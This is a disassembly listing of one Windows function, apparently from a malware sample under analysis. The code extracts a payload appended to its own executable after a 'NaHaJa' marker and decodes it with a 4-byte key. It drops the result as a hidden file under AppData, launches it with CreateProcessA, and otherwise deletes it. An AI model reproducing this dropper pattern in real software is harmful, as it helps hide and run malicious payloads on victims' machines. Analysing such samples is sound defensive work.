Function at 0x4015fe
Capabilities:
Create process on windows
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2ac
mov dword [ebp - 0x244], sym.3__:k_T_A_revkB_jkU_FvA_revmj_BB_vA_revmj_BB_
mov dword [ebp - 0x240], 0x43c03e
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401c85
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.0040d0f0
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
mov dword [ebp - 0x258], 0xffffffff
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], 0x43d040
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x43d03b
mov byte [eax], 0
mov dword [esp], 0x43d040
call sym.5_F_BB_J0ZBFJ_jBi.p_Bi2J__V_mbJAW_BN_mzB__vi:f
mov dword [ebp - 0x1c], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], 0x441194
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x441150
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x43d040
call sub.msvcrt.dll_memset
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp], 0x4410b0
call sym.QdBk_AQ5_F_BB_J0ZBFJ_jBi.p_Bi2J__V_mbJAW_BN_mzB__vi
test al, al
je 0x4017c2
mov dword [ebp - 0x260], 0
jmp 0x401d17
mov dword [ebp - 0x258], 0xffffffff
call sym.VB_QdBk_AQ5_F_BB_J0ZBFJ_jBi.p_Bi2J__V_mbJAW_
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.8C
mov dword [esp + 8], 4
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call sym.MQ_4Ai_FmCay_AaR0AD_F6CgaREQ54Ai_FmC
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym.B_niBBvm_Bpc.T:BB8:.CKctBDQlGBTfB_fCAB_Qe_Bjv
mov dword [esp + 8], 4
mov dword [esp + 4], 0x441030
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.___B4__vf_NfBA.zQU4Ai_Fm3aA_fA_Bi_V
mov dword [esp + 4], 2
mov dword [esp], 0x441030
call sub.KERNEL32.DLL_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.__F.BwpFpFpFpFopc_Bi_S_c5Cm____kiiTBAk.CANv_i
test al, al
jne 0x401b96
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4e
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x48
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4a
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov byte [0x441130], 1
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
movzx eax, byte [0x441020]
mov byte [0x43d0c0], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
movzx eax, byte [0x441020]
mov byte [0x43d0c1], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
movzx eax, byte [0x441020]
mov byte [0x43d0c2], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
movzx eax, byte [0x441020]
mov byte [0x43d0c3], al
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.__F.BwpFpFpFpFopc_Bi_S_c5Cm____kiiTBAk.CANv_i
test al, al
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
mov ecx, dword [0x441010]
mov ebx, dword [0x441014]
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x264], ebx
mov eax, dword [ebp - 0x268]
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], edx
cmp dword [ebp - 0x26c], 0
jns 0x401b1f
add dword [ebp - 0x270], 3
adc dword [ebp - 0x26c], 0
mov eax, dword [ebp - 0x270]
mov edx, dword [ebp - 0x26c]
shrd eax, edx, 2
sar edx, 2
shld edx, eax, 2
shl eax, 2
mov ecx, dword [ebp - 0x268]
mov ebx, dword [ebp - 0x264]
sub ecx, eax
sbb ebx, edx
mov eax, ecx
mov edx, ebx
add eax, 0x43d0c0
movzx eax, byte [eax]
sub byte [0x441020], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.9D_CCm9DF9FVuCmFm_i_a0A_Qg5BBEpBBd7A_i__yEc
add dword [0x441010], 1
adc dword [0x441014], 0
jmp 0x401a97
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym._j_B0Br_yyBuFpFpFpFos_K6aB_uA_Afr__G
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.vXABCB2ABksrA_6rUuAU:8_EdBAUtQ__c3BUdq
cmp byte [0x441130], 0
je 0x401c1e
mov dword [esp + 0x24], 0x441194
mov dword [esp + 0x20], 0x441150
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sub.KERNEL32.DLL_CreateProcessA
sub esp, 0x28
jmp 0x401c37
mov dword [esp], 0x441030
mov dword [ebp - 0x258], 1
call sub.KERNEL32.DLL_DeleteFileA
sub esp, 4
mov dword [ebp - 0x258], 1
call sym._mzB__vi:f
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call sym..iw_W_U__QdA4pFpFpFo9Zk.___fA_Ji_Fj9i_Bj9i_NBB
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 0xffffffff
call sym.B_cws_c_g_6T__6BU9DvqB_.fBB_vTB_NfBB6nB:B3m_BCcw
mov dword [ebp - 0x260], 0
jmp 0x401d17
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x260]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10